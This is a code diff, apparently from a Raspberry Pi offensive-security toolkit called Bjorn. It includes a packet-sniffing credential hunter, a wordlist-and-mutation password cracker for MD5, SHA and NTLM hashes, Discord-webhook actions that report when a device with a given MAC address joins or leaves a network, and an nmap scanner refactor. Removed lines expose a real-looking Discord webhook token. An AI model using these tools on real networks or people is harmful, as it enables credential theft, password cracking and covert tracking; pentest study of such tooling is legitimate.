logging.error(f"Capture error: {e}")
|
||||
logger.error(f"Capture error: {e}")
|
||||
self.shared_data.log_milestone(b_class, "Error", str(e))
|
||||
return "failed"
|
||||
finally:
|
||||
self.cleanup()
|
||||
if self.capture:
|
||||
try: self.capture.close()
|
||||
except: pass
|
||||
|
||||
# Save results
|
||||
if self.credentials or self.statistics['total_packets'] > 0:
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
with open(os.path.join(output_dir, f"odin_recon_{ts}.json"), 'w') as f:
|
||||
json.dump({
|
||||
"stats": dict(self.statistics),
|
||||
"credentials": self.credentials
|
||||
}, f, indent=4)
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.")
|
||||
|
||||
def handle_interrupt(self, signum, frame):
|
||||
self.stop_capture.set()
|
||||
|
||||
def cleanup(self):
|
||||
if self.capture:
|
||||
self.capture.close()
|
||||
self.save_results()
|
||||
logging.info("Capture completed")
|
||||
|
||||
def save_settings(interface, capture_filter, output_dir, timeout, max_packets):
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"interface": interface,
|
||||
"capture_filter": capture_filter,
|
||||
"output_dir": output_dir,
|
||||
"timeout": timeout,
|
||||
"max_packets": max_packets
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="OdinEye: network traffic analyzer & credential hunter")
|
||||
parser.add_argument("-i", "--interface", required=False, help="Network interface to monitor")
|
||||
parser.add_argument("-f", "--filter", default=DEFAULT_FILTER, help="BPF capture filter")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
parser.add_argument("-t", "--timeout", type=int, default=300, help="Capture timeout in seconds")
|
||||
parser.add_argument("-m", "--max-packets", type=int, default=10000, help="Maximum packets to capture")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
interface = args.interface or settings.get("interface")
|
||||
capture_filter = args.filter or settings.get("capture_filter", DEFAULT_FILTER)
|
||||
output_dir = args.output or settings.get("output_dir", DEFAULT_OUTPUT_DIR)
|
||||
timeout = args.timeout or settings.get("timeout", 300)
|
||||
max_packets = args.max_packets or settings.get("max_packets", 10000)
|
||||
|
||||
if not interface:
|
||||
logging.error("Interface is required. Use -i or set it in settings")
|
||||
return
|
||||
|
||||
save_settings(interface, capture_filter, output_dir, timeout, max_packets)
|
||||
analyzer = OdinEye(interface, capture_filter, output_dir, timeout, max_packets)
|
||||
analyzer.execute()
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
# action_template.py
|
||||
# Example template for a Bjorn action with Neo launcher support
|
||||
|
||||
# UI Metadata
|
||||
b_class = "MyAction"
|
||||
b_module = "my_action"
|
||||
b_enabled = 1
|
||||
b_action = "normal" # normal, aggressive, stealth
|
||||
b_description = "Description of what this action does"
|
||||
|
||||
# Arguments schema for UI
|
||||
b_args = {
|
||||
"target": {
|
||||
"type": "text",
|
||||
"label": "Target IP/Host",
|
||||
"default": "192.168.1.1",
|
||||
"placeholder": "Enter target",
|
||||
"help": "The target to scan"
|
||||
},
|
||||
"port": {
|
||||
"type": "number",
|
||||
"label": "Port",
|
||||
"default": 80,
|
||||
"min": 1,
|
||||
"max": 65535
|
||||
},
|
||||
"protocol": {
|
||||
"type": "select",
|
||||
"label": "Protocol",
|
||||
"choices": ["tcp", "udp"],
|
||||
"default": "tcp"
|
||||
},
|
||||
"verbose": {
|
||||
"type": "checkbox",
|
||||
"label": "Verbose output",
|
||||
"default": False
|
||||
},
|
||||
"timeout": {
|
||||
"type": "slider",
|
||||
"label": "Timeout (seconds)",
|
||||
"min": 10,
|
||||
"max": 300,
|
||||
"step": 10,
|
||||
"default": 60
|
||||
}
|
||||
}
|
||||
|
||||
def compute_dynamic_b_args(base: dict) -> dict:
|
||||
# Compute dynamic values at runtime
|
||||
return base
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description=b_description)
|
||||
parser.add_argument('--target', default=b_args['target']['default'])
|
||||
parser.add_argument('--port', type=int, default=b_args['port']['default'])
|
||||
parser.add_argument('--protocol', choices=b_args['protocol']['choices'],
|
||||
default=b_args['protocol']['default'])
|
||||
parser.add_argument('--verbose', action='store_true')
|
||||
parser.add_argument('--timeout', type=int, default=b_args['timeout']['default'])
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Your action logic here
|
||||
print(f"Starting action with target: {args.target}")
|
||||
# ...
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
"""
|
||||
from init_shared import shared_data
|
||||
eye = OdinEye(shared_data)
|
||||
eye.execute("0.0.0.0", None, {}, "odin_eye")
|
||||
@@ -10,7 +10,8 @@ PresenceJoin — Sends a Discord webhook when the targeted host JOINS the networ
|
||||
import requests
|
||||
from typing import Optional
|
||||
import logging
|
||||
from datetime import datetime, timezone
|
||||
import datetime
|
||||
|
||||
from logger import Logger
|
||||
from shared import SharedData # only if executed directly for testing
|
||||
|
||||
@@ -29,19 +30,19 @@ b_rate_limit = None
|
||||
b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan)
|
||||
b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed
|
||||
|
||||
# Replace with your webhook
|
||||
DISCORD_WEBHOOK_URL = "https://discordapp.com/api/webhooks/1416433823456956561/MYc2mHuqgK_U8tA96fs2_-S1NVchPzGOzan9EgLr4i8yOQa-3xJ6Z-vMejVrpPfC3OfD"
|
||||
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
||||
|
||||
class PresenceJoin:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _send(self, text: str) -> None:
|
||||
if not DISCORD_WEBHOOK_URL or "webhooks/" not in DISCORD_WEBHOOK_URL:
|
||||
url = getattr(self.shared_data, 'discord_webhook_url', None) or DISCORD_WEBHOOK_URL
|
||||
if not url or "webhooks/" not in url:
|
||||
logger.error("PresenceJoin: DISCORD_WEBHOOK_URL missing/invalid.")
|
||||
return
|
||||
try:
|
||||
r = requests.post(DISCORD_WEBHOOK_URL, json={"content": text}, timeout=6)
|
||||
r = requests.post(url, json={"content": text}, timeout=6)
|
||||
if r.status_code < 300:
|
||||
logger.info("PresenceJoin: webhook sent.")
|
||||
else:
|
||||
@@ -61,7 +62,8 @@ class PresenceJoin:
|
||||
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
||||
|
||||
# Add timestamp in UTC
|
||||
timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
|
||||
|
||||
msg = f"✅ **Presence detected**\n"
|
||||
msg += f"- Host: {host or 'unknown'}\n"
|
||||
|
||||
@@ -10,7 +10,8 @@ PresenceLeave — Sends a Discord webhook when the targeted host LEAVES the netw
|
||||
import requests
|
||||
from typing import Optional
|
||||
import logging
|
||||
from datetime import datetime, timezone
|
||||
import datetime
|
||||
|
||||
from logger import Logger
|
||||
from shared import SharedData # only if executed directly for testing
|
||||
|
||||
@@ -30,19 +31,19 @@ b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last
|
||||
b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed
|
||||
b_enabled = 1
|
||||
|
||||
# Replace with your webhook (can reuse the same as PresenceJoin)
|
||||
DISCORD_WEBHOOK_URL = "https://discordapp.com/api/webhooks/1416433823456956561/MYc2mHuqgK_U8tA96fs2_-S1NVchPzGOzan9EgLr4i8yOQa-3xJ6Z-vMejVrpPfC3OfD"
|
||||
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
||||
|
||||
class PresenceLeave:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _send(self, text: str) -> None:
|
||||
if not DISCORD_WEBHOOK_URL or "webhooks/" not in DISCORD_WEBHOOK_URL:
|
||||
url = getattr(self.shared_data, 'discord_webhook_url', None) or DISCORD_WEBHOOK_URL
|
||||
if not url or "webhooks/" not in url:
|
||||
logger.error("PresenceLeave: DISCORD_WEBHOOK_URL missing/invalid.")
|
||||
return
|
||||
try:
|
||||
r = requests.post(DISCORD_WEBHOOK_URL, json={"content": text}, timeout=6)
|
||||
r = requests.post(url, json={"content": text}, timeout=6)
|
||||
if r.status_code < 300:
|
||||
logger.info("PresenceLeave: webhook sent.")
|
||||
else:
|
||||
@@ -61,7 +62,8 @@ class PresenceLeave:
|
||||
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
||||
|
||||
# Add timestamp in UTC
|
||||
timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
|
||||
|
||||
msg = f"❌ **Presence lost**\n"
|
||||
msg += f"- Host: {host or 'unknown'}\n"
|
||||
|
||||
@@ -1,35 +1,52 @@
|
||||
# Advanced password cracker supporting multiple hash formats and attack methods.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/rune_cracker_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -i, --input Input file containing hashes to crack.
|
||||
# -w, --wordlist Path to password wordlist (default: built-in list).
|
||||
# -r, --rules Path to rules file for mutations (default: built-in rules).
|
||||
# -t, --type Hash type (md5, sha1, sha256, sha512, ntlm).
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/hashes).
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
rune_cracker.py -- Advanced password cracker for BJORN.
|
||||
Supports multiple hash formats and uses bruteforce_common for progress tracking.
|
||||
Optimized for Pi Zero 2 (limited CPU/RAM).
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import hashlib
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import itertools
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from typing import Any, Dict, List, Optional, Set
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
|
||||
logger = Logger(name="rune_cracker.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "RuneCracker"
|
||||
b_module = "rune_cracker"
|
||||
b_enabled = 0
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/hashes"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "rune_cracker_settings.json")
|
||||
b_status = "rune_cracker"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_priority = 40
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 600
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10 # Local cracking is stealthy
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["crack", "hash", "bruteforce", "local"]
|
||||
b_category = "exploitation"
|
||||
b_name = "Rune Cracker"
|
||||
b_description = "Advanced password cracker with mutation rules and progress tracking."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.1.0"
|
||||
b_icon = "RuneCracker.png"
|
||||
|
||||
# Supported hash types and their patterns
|
||||
HASH_PATTERNS = {
|
||||
@@ -40,226 +57,153 @@ HASH_PATTERNS = {
|
||||
'ntlm': r'^[a-fA-F0-9]{32}$'
|
||||
}
|
||||
|
||||
|
||||
class RuneCracker:
|
||||
def __init__(self, input_file, wordlist=None, rules=None, hash_type=None, output_dir=DEFAULT_OUTPUT_DIR):
|
||||
self.input_file = input_file
|
||||
self.wordlist = wordlist
|
||||
self.rules = rules
|
||||
self.hash_type = hash_type
|
||||
self.output_dir = output_dir
|
||||
|
||||
self.hashes = set()
|
||||
self.cracked = {}
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.hashes: Set[str] = set()
|
||||
self.cracked: Dict[str, Dict[str, Any]] = {}
|
||||
self.lock = threading.Lock()
|
||||
self.hash_type: Optional[str] = None
|
||||
|
||||
# Load mutation rules
|
||||
self.mutation_rules = self.load_rules()
|
||||
|
||||
def load_hashes(self):
|
||||
"""Load hashes from input file and validate format."""
|
||||
try:
|
||||
with open(self.input_file, 'r') as f:
|
||||
for line in f:
|
||||
hash_value = line.strip()
|
||||
if self.hash_type:
|
||||
if re.match(HASH_PATTERNS[self.hash_type], hash_value):
|
||||
self.hashes.add(hash_value)
|
||||
else:
|
||||
# Try to auto-detect hash type
|
||||
for h_type, pattern in HASH_PATTERNS.items():
|
||||
if re.match(pattern, hash_value):
|
||||
self.hashes.add(hash_value)
|
||||
break
|
||||
|
||||
logging.info(f"Loaded {len(self.hashes)} valid hashes")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error loading hashes: {e}")
|
||||
|
||||
def load_wordlist(self):
|
||||
"""Load password wordlist."""
|
||||
if self.wordlist and os.path.exists(self.wordlist):
|
||||
with open(self.wordlist, 'r', errors='ignore') as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
return ['password', 'admin', '123456', 'qwerty', 'letmein']
|
||||
|
||||
def load_rules(self):
|
||||
"""Load mutation rules."""
|
||||
if self.rules and os.path.exists(self.rules):
|
||||
with open(self.rules, 'r') as f:
|
||||
return [line.strip() for line in f if line.strip() and not line.startswith('#')]
|
||||
return [
|
||||
'capitalize',
|
||||
'lowercase',
|
||||
'uppercase',
|
||||
'l33t',
|
||||
'append_numbers',
|
||||
'prepend_numbers',
|
||||
'toggle_case'
|
||||
]
|
||||
|
||||
def apply_mutations(self, word):
|
||||
"""Apply various mutation rules to a word."""
|
||||
mutations = set([word])
|
||||
# Performance tuning for Pi Zero 2
|
||||
self.max_workers = int(getattr(shared_data, "rune_cracker_workers", 4))
|
||||
|
||||
for rule in self.mutation_rules:
|
||||
if rule == 'capitalize':
|
||||
mutations.add(word.capitalize())
|
||||
elif rule == 'lowercase':
|
||||
mutations.add(word.lower())
|
||||
elif rule == 'uppercase':
|
||||
mutations.add(word.upper())
|
||||
elif rule == 'l33t':
|
||||
mutations.add(word.replace('a', '@').replace('e', '3').replace('i', '1')
|
||||
.replace('o', '0').replace('s', '5'))
|
||||
elif rule == 'append_numbers':
|
||||
mutations.update(word + str(n) for n in range(100))
|
||||
elif rule == 'prepend_numbers':
|
||||
mutations.update(str(n) + word for n in range(100))
|
||||
elif rule == 'toggle_case':
|
||||
mutations.add(''.join(c.upper() if i % 2 else c.lower()
|
||||
for i, c in enumerate(word)))
|
||||
|
||||
return mutations
|
||||
|
||||
def hash_password(self, password, hash_type):
|
||||
def _hash_password(self, password: str, h_type: str) -> Optional[str]:
|
||||
"""Generate hash for a password using specified algorithm."""
|
||||
if hash_type == 'md5':
|
||||
return hashlib.md5(password.encode()).hexdigest()
|
||||
elif hash_type == 'sha1':
|
||||
return hashlib.sha1(password.encode()).hexdigest()
|
||||
elif hash_type == 'sha256':
|
||||
return hashlib.sha256(password.encode()).hexdigest()
|
||||
elif hash_type == 'sha512':
|
||||
return hashlib.sha512(password.encode()).hexdigest()
|
||||
elif hash_type == 'ntlm':
|
||||
return hashlib.new('md4', password.encode('utf-16le')).hexdigest()
|
||||
|
||||
try:
|
||||
if h_type == 'md5':
|
||||
return hashlib.md5(password.encode()).hexdigest()
|
||||
elif h_type == 'sha1':
|
||||
return hashlib.sha1(password.encode()).hexdigest()
|
||||
elif h_type == 'sha256':
|
||||
return hashlib.sha256(password.encode()).hexdigest()
|
||||
elif h_type == 'sha512':
|
||||
return hashlib.sha512(password.encode()).hexdigest()
|
||||
elif h_type == 'ntlm':
|
||||
# NTLM is MD4(UTF-16LE(password))
|
||||
return hashlib.new('md4', password.encode('utf-16le')).hexdigest()
|
||||
except Exception as e:
|
||||
logger.debug(f"Hashing error ({h_type}): {e}")
|
||||
return None
|
||||
|
||||
def crack_password(self, password):
|
||||
"""Attempt to crack hashes using a single password and its mutations."""
|
||||
try:
|
||||
mutations = self.apply_mutations(password)
|
||||
|
||||
for mutation in mutations:
|
||||
for hash_type in HASH_PATTERNS.keys():
|
||||
if not self.hash_type or self.hash_type == hash_type:
|
||||
hash_value = self.hash_password(mutation, hash_type)
|
||||
|
||||
if hash_value in self.hashes:
|
||||
with self.lock:
|
||||
self.cracked[hash_value] = {
|
||||
'password': mutation,
|
||||
'hash_type': hash_type,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
}
|
||||
logging.info(f"Cracked hash: {hash_value[:8]}... = {mutation}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error cracking with password {password}: {e}")
|
||||
def _crack_password_worker(self, password: str, progress: ProgressTracker):
|
||||
"""Worker function for cracking passwords."""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
|
||||
def save_results(self):
|
||||
"""Save cracked passwords to JSON file."""
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
results = {
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'total_hashes': len(self.hashes),
|
||||
'cracked_count': len(self.cracked),
|
||||
'cracked_hashes': self.cracked
|
||||
}
|
||||
|
||||
output_file = os.path.join(self.output_dir, f"cracked_{timestamp}.json")
|
||||
with open(output_file, 'w') as f:
|
||||
json.dump(results, f, indent=4)
|
||||
for h_type in HASH_PATTERNS.keys():
|
||||
if self.hash_type and self.hash_type != h_type:
|
||||
continue
|
||||
|
||||
logging.info(f"Results saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
hv = self._hash_password(password, h_type)
|
||||
if hv and hv in self.hashes:
|
||||
with self.lock:
|
||||
if hv not in self.cracked:
|
||||
self.cracked[hv] = {
|
||||
"password": password,
|
||||
"type": h_type,
|
||||
"cracked_at": datetime.now().isoformat()
|
||||
}
|
||||
logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}")
|
||||
self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!")
|
||||
|
||||
def execute(self):
|
||||
"""Execute the password cracking process."""
|
||||
progress.advance()
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
"""Standard Orchestrator entry point."""
|
||||
input_file = str(getattr(self.shared_data, "rune_cracker_input", ""))
|
||||
wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", ""))
|
||||
self.hash_type = getattr(self.shared_data, "rune_cracker_type", None)
|
||||
output_dir = getattr(self.shared_data, "rune_cracker_output", "/home/bjorn/Bjorn/data/output/hashes")
|
||||
|
||||
if not input_file or not os.path.exists(input_file):
|
||||
# Fallback: Check for latest odin_recon or other hashes if running in generic mode
|
||||
potential_input = os.path.join(self.shared_data.data_dir, "output", "packets", "latest_hashes.txt")
|
||||
if os.path.exists(potential_input):
|
||||
input_file = potential_input
|
||||
logger.info(f"RuneCracker: No input provided, using fallback: {input_file}")
|
||||
else:
|
||||
logger.error(f"Input file not found: {input_file}")
|
||||
return "failed"
|
||||
|
||||
# Load hashes
|
||||
self.hashes.clear()
|
||||
try:
|
||||
logging.info("Starting password cracking process")
|
||||
self.load_hashes()
|
||||
|
||||
if not self.hashes:
|
||||
logging.error("No valid hashes loaded")
|
||||
return
|
||||
|
||||
wordlist = self.load_wordlist()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=10) as executor:
|
||||
executor.map(self.crack_password, wordlist)
|
||||
|
||||
self.save_results()
|
||||
|
||||
logging.info(f"Cracking completed. Cracked {len(self.cracked)}/{len(self.hashes)} hashes")
|
||||
|
||||
with open(input_file, 'r', encoding="utf-8", errors="ignore") as f:
|
||||
for line in f:
|
||||
hv = line.strip()
|
||||
if not hv: continue
|
||||
# Auto-detect or validate
|
||||
for h_t, pat in HASH_PATTERNS.items():
|
||||
if re.match(pat, hv):
|
||||
if not self.hash_type or self.hash_type == h_t:
|
||||
self.hashes.add(hv)
|
||||
break
|
||||
except Exception as e:
|
||||
logging.error(f"Error during execution: {e}")
|
||||
logger.error(f"Error loading hashes: {e}")
|
||||
return "failed"
|
||||
|
||||
def save_settings(input_file, wordlist, rules, hash_type, output_dir):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"input_file": input_file,
|
||||
"wordlist": wordlist,
|
||||
"rules": rules,
|
||||
"hash_type": hash_type,
|
||||
"output_dir": output_dir
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
if not self.hashes:
|
||||
logger.warning("No valid hashes found in input file.")
|
||||
return "failed"
|
||||
|
||||
logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...")
|
||||
self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes")
|
||||
|
||||
# Prepare password plan
|
||||
dict_passwords = []
|
||||
if wordlist_path and os.path.exists(wordlist_path):
|
||||
with open(wordlist_path, 'r', encoding="utf-8", errors="ignore") as f:
|
||||
dict_passwords = [l.strip() for l in f if l.strip()]
|
||||
else:
|
||||
# Fallback tiny list
|
||||
dict_passwords = ['password', 'admin', '123456', 'qwerty', 'bjorn']
|
||||
|
||||
dictionary, fallback = merged_password_plan(self.shared_data, dict_passwords)
|
||||
all_candidates = dictionary + fallback
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(all_candidates))
|
||||
self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
|
||||
for pwd in all_candidates:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
executor.shutdown(wait=False)
|
||||
return "interrupted"
|
||||
executor.submit(self._crack_password_worker, pwd, progress)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
logger.error(f"Cracking engine error: {e}")
|
||||
return "failed"
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Advanced password cracker")
|
||||
parser.add_argument("-i", "--input", help="Input file containing hashes")
|
||||
parser.add_argument("-w", "--wordlist", help="Path to password wordlist")
|
||||
parser.add_argument("-r", "--rules", help="Path to rules file")
|
||||
parser.add_argument("-t", "--type", choices=list(HASH_PATTERNS.keys()), help="Hash type")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
input_file = args.input or settings.get("input_file")
|
||||
wordlist = args.wordlist or settings.get("wordlist")
|
||||
rules = args.rules or settings.get("rules")
|
||||
hash_type = args.type or settings.get("hash_type")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
|
||||
if not input_file:
|
||||
logging.error("Input file is required. Use -i or save it in settings")
|
||||
return
|
||||
|
||||
save_settings(input_file, wordlist, rules, hash_type, output_dir)
|
||||
|
||||
cracker = RuneCracker(
|
||||
input_file=input_file,
|
||||
wordlist=wordlist,
|
||||
rules=rules,
|
||||
hash_type=hash_type,
|
||||
output_dir=output_dir
|
||||
)
|
||||
cracker.execute()
|
||||
# Save results
|
||||
if self.cracked:
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
out_file = os.path.join(output_dir, f"cracked_{int(time.time())}.json")
|
||||
with open(out_file, 'w', encoding="utf-8") as f:
|
||||
json.dump({
|
||||
"target_file": input_file,
|
||||
"total_hashes": len(self.hashes),
|
||||
"cracked_count": len(self.cracked),
|
||||
"results": self.cracked
|
||||
}, f, indent=4)
|
||||
logger.success(f"Cracked {len(self.cracked)} hashes! Results: {out_file}")
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Cracked {len(self.cracked)} hashes")
|
||||
return "success"
|
||||
|
||||
logger.info("Cracking finished. No matches found.")
|
||||
self.shared_data.log_milestone(b_class, "Finished", "No passwords found")
|
||||
return "success" # Still success even if 0 cracked, as it finished the task
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
# Minimal CLI for testing
|
||||
import sys
|
||||
from init_shared import shared_data
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: rune_cracker.py <hash_file>")
|
||||
sys.exit(1)
|
||||
|
||||
shared_data.rune_cracker_input = sys.argv[1]
|
||||
cracker = RuneCracker(shared_data)
|
||||
cracker.execute("local", None, {}, "rune_cracker")
|
||||
|
||||
@@ -1,20 +1,24 @@
|
||||
# scanning.py – Network scanner (DB-first, no stubs)
|
||||
# - Host discovery (nmap -sn -PR)
|
||||
# - Resolve MAC/hostname (per-host threads) -> DB (hosts table)
|
||||
# - Port scan (multi-threads) -> DB (merge ports by MAC)
|
||||
# - Resolve MAC/hostname (ThreadPoolExecutor) -> DB (hosts table)
|
||||
# - Port scan (ThreadPoolExecutor) -> DB (merge ports by MAC)
|
||||
# - Mark alive=0 for hosts not seen this run
|
||||
# - Update stats (stats table)
|
||||
# - Light logging (milestones) without flooding
|
||||
# - WAL checkpoint(TRUNCATE) + PRAGMA optimize at end of scan
|
||||
# - NEW: No DB insert without a real MAC. Unresolved IPs are kept in-memory for this run.
|
||||
# - No DB insert without a real MAC. Unresolved IPs are kept in-memory.
|
||||
# - RPi Zero optimized: bounded thread pools, reduced retries, adaptive concurrency
|
||||
|
||||
import os
|
||||
import re
|
||||
import threading
|
||||
import socket
|
||||
import time
|
||||
import logging
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import datetime
|
||||
|
||||
|
||||
import netifaces
|
||||
from getmac import get_mac_address as gma
|
||||
@@ -35,12 +39,48 @@ b_action = "global"
|
||||
b_trigger = "on_interval:180"
|
||||
b_requires = '{"max_concurrent": 1}'
|
||||
|
||||
# --- Module-level constants (avoid re-creating per call) ---
|
||||
_MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}')
|
||||
_BAD_MACS = frozenset({"00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"})
|
||||
|
||||
# RPi Zero safe defaults (overridable via shared config)
|
||||
_MAX_HOST_THREADS = 2
|
||||
_MAX_PORT_THREADS = 4
|
||||
_PORT_TIMEOUT = 0.8
|
||||
_MAC_RETRIES = 2
|
||||
_MAC_RETRY_DELAY = 0.5
|
||||
_ARPING_TIMEOUT = 1.0
|
||||
_NMAP_DISCOVERY_TIMEOUT_S = 90
|
||||
_NMAP_DISCOVERY_ARGS = "-sn -PR --max-retries 1 --host-timeout 8s"
|
||||
_SCAN_MIN_INTERVAL_S = 600
|
||||
|
||||
|
||||
def _normalize_mac(s):
|
||||
if not s:
|
||||
return None
|
||||
m = _MAC_RE.search(str(s))
|
||||
if not m:
|
||||
return None
|
||||
return m.group(0).replace('-', ':').lower()
|
||||
|
||||
|
||||
def _is_bad_mac(mac):
|
||||
if not mac:
|
||||
return True
|
||||
mac_l = mac.lower()
|
||||
if mac_l in _BAD_MACS:
|
||||
return True
|
||||
parts = mac_l.split(':')
|
||||
if len(parts) == 6 and len(set(parts)) == 1:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class NetworkScanner:
|
||||
"""
|
||||
Network scanner that populates SQLite (hosts + stats). No CSV/JSON.
|
||||
Keeps the original fast logic: nmap discovery, per-host threads, per-port threads.
|
||||
NEW: no 'IP:<ip>' stubs are ever written to the DB; unresolved IPs are tracked in-memory.
|
||||
Uses ThreadPoolExecutor for bounded concurrency (RPi Zero safe).
|
||||
No 'IP:<ip>' stubs are ever written to the DB; unresolved IPs are tracked in-memory.
|
||||
"""
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
@@ -52,8 +92,26 @@ class NetworkScanner:
|
||||
self.lock = threading.Lock()
|
||||
self.nm = nmap.PortScanner()
|
||||
self.running = False
|
||||
# Local stop flag for this action instance.
|
||||
